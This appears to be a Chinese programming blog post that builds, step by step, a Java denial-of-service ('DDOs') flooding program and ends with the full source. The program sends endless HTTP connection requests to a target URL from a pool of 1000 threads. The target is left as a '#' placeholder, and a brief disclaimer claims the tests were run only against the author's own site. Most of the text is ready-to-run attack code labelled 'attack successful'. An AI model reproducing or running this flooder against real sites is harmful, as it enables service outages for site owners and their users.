声明:本文中DDOs压力测试的网站是自己的测试网站,请勿将DDOs压力测试用于非法的用途上!
提到DDOs,相信大家都不陌生,网络上有很多用py实现的DDOs程序,那么我大java怎能甘拜下风呢?本文就用java写DDOs的程序!
- 首先创建一个线程!
class Mythread implements Runnable {
@Override //精准覆写
public void run() {
}
}
- 然后再写一个访问网站的小功能
URL url = new URL("#"); //这里填网址
URLConnection conn = url.openConnection();
System.out.println("发包成功!");
- 再写攻击的部分
BufferedInputStream bis = new BufferedInputStream(
conn.getInputStream());
byte[] bytes = new byte[1024];
int len = -1;
StringBuffer sb = new StringBuffer();
if (bis != null) {
if ((len = bis.read()) != -1) {
sb.append(new String(bytes, 0, len));
System.out.println("攻击成功!");
bis.close();
}
}
- 之后,再加个循环和异常捕获
while (true) {
try {
URL url = new URL("#");//攻击网址
URLConnection conn = url.openConnection();
System.out.println("发包成功!");
BufferedInputStream bis = new BufferedInputStream(
conn.getInputStream());
byte[] bytes = new byte[1024];
int len = -1;
StringBuffer sb = new StringBuffer();
if (bis != null) {
if ((len = bis.read()) != -1) {
sb.append(new String(bytes, 0, len));
System.out.println("攻击成功!");
bis.close();
}
}
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
- 于是就有了这个class
class Mythread implements Runnable {
@Override
public void run() {
while (true) {
try {
URL url = new URL("#");//攻击网址
URLConnection conn = url.openConnection();
System.out.println("发包成功!");
BufferedInputStream bis = new BufferedInputStream(
conn.getInputStream());
byte[] bytes = new byte[1024];
int len = -1;
StringBuffer sb = new StringBuffer();
if (bis != null) {
if ((len = bis.read()) != -1) {
sb.append(new String(bytes, 0, len));
System.out.println("攻击成功!");
bis.close();
}
}
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
- 再加个主类执行就OK了!
public class DDOs {
public static void main(String[] args) {
ExecutorService es = Executors.newFixedThreadPool(1000);
Mythread mythread1 = new Mythread();
Thread thread1 = new Thread(mythread1);
for (int i = 0; i < 10000; i++) { //循环创建10000个循环线程
es.execute(thread1);
}
}
}
完整程序
package DDOs;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class DDOs {
public static void main(String[] args) {
ExecutorService es = Executors.newFixedThreadPool(1000);
Mythread mythread1 = new Mythread();
Thread thread1 = new Thread(mythread1);
Mythread mythread2 = new Mythread();
Thread thread2 = new Thread(mythread2);
Mythread mythread3 = new Mythread();
Thread thread3 = new Thread(mythread3);
for (int i = 0; i < 10000; i++) {
es.execute(thread1);
es.execute(thread2);
es.execute(thread3);
}
}
}
class Mythread implements Runnable {
@Override
public void run() {
while (true) {
try {
URL url = new URL("#");//攻击网址
URLConnection conn = url.openConnection();
System.out.println("发包成功!");
BufferedInputStream bis = new BufferedInputStream(
conn.getInputStream());
byte[] bytes = new byte[1024];
int len = -1;
StringBuffer sb = new StringBuffer();
if (bis != null) {
if ((len = bis.read()) != -1) {
sb.append(new String(bytes, 0, len));
System.out.println("攻击成功!");
bis.close();
}
}
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}